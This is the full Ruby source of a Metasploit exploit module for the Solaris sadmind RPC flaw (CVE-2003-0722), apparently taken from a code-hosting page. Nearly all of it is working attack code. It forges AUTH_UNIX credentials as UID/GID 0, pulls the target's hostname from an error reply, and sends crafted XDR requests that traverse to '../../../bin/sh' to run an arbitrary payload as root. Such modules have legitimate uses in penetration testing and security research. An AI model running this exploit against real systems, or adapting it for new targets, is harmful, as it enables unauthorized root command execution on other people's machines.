Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::SunRPC
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Solaris sadmind Command Execution',
14
      'Description'    => %q{
15
          This exploit targets a weakness in the default security
16
        settings of the sadmind RPC application. This server is
17
        installed and enabled by default on most versions of the
18
        Solaris operating system.
19

20
        Vulnerable systems include solaris 2.7, 8, and 9
21
      },
22
      'Author'         => [ 'vlad902 <vlad902[at]gmail.com>', 'hdm', 'cazz', 'midnitesnake' ],
23
      'License'        => MSF_LICENSE,
24
      'References'     =>
25
        [
26
          ['CVE', '2003-0722'],
27
          ['OSVDB', '4585'],
28
          ['BID', '8615']
29
        ],
30
      'Privileged'     => true,
31
      'Platform'       => %w{ solaris unix },
32
      'Arch'           => ARCH_CMD,
33
      'Payload'        =>
34
        {
35
          'Space'       => 2000,
36
          'BadChars'    => "\x00",
37
          'DisableNops' => true,
38
          'EncoderType' => Msf::Encoder::Type::CmdPosixPerl,
39
          'Compat'      =>
40
            {
41
              'PayloadType' => 'cmd',
42
              'RequiredCmd' => 'generic perl telnet',
43
            }
44
        },
45
      'Targets'        => [ ['Automatic', { }], ],
46
      'DisclosureDate' => '2003-09-13',
47
      'DefaultTarget' => 0
48
    ))
49

50
    register_options(
51
      [
52
        OptString.new('HOSTNAME', [false, 'Remote hostname', nil]),
53
        OptInt.new('GID', [false, 'GID to emulate', 0]),
54
        OptInt.new('UID', [false, 'UID to emulate', 0])
55
      ], self.class
56
    )
57
  end
58

59
  def exploit
60
    sunrpc_create('udp', 100232, 10)
61
    sunrpc_authunix('localhost', datastore['UID'], datastore['GID'], [])
62

63
    if !datastore['HOSTNAME']
64
      print_status('attempting to determine hostname')
65
      response = sadmind_request(rand_text_alpha(rand(10) + 1), "true")
66

67
      if !response
68
        print_error('no response')
69
        return
70
      end
71

72
      match = /Security exception on host (.*)\.  USER/.match(response)
73
      if match
74
        hostname = match.captures[0]
75
        print_status("found hostname: #{hostname}")
76
      else
77
        print_error('unable to determine hostname')
78
        return
79
      end
80
    else
81
      hostname = datastore['HOSTNAME']
82
    end
83

84
    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
85
    response = sadmind_request(hostname, payload.encoded)
86
    sunrpc_destroy
87

88
    if /Security exception on host/.match(response)
89
      print_error('exploit failed')
90
      return
91
    else
92
      print_status('exploit did not give us an error, this is good...')
93
      select(nil,nil,nil,1)
94
      handler
95
    end
96
  end
97

98
  def sadmind_request(host, command)
99
    header =
100
      Rex::Encoder::XDR.encode(0) * 7 +
101
      Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
102
        4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
103
        host, 'system', '../../../bin/sh')
104

105
    body =
106
      do_int('ADM_FW_VERSION', 1) +
107
      do_string('ADM_LANG', 'C') +
108
      do_string('ADM_REQUESTID', '00009:000000000:0') +
109
      do_string('ADM_CLASS', 'system') +
110
      do_string('ADM_CLASS_VERS', '2.1') +
111
      do_string('ADM_METHOD', '../../../bin/sh') +
112
      do_string('ADM_HOST', host) +
113
      do_string('ADM_CLIENT_HOST', host) +
114
      do_string('ADM_CLIENT_DOMAIN', '') +
115
      do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
116
      do_int('ADM_FENCE', 0) +
117
      do_string('X', '-c') +
118
      do_string('Y', command) +
119
      Rex::Encoder::XDR.encode('netmgt_endofargs')
120

121
    request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
122

123
    ret = sunrpc_call(1, request)
124
    return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]
125
  end
126

127
  def do_string(str1, str2)
128
    Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
129
  end
130

131
  def do_int(str, int)
132
    Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
133
  end
134
end
135

136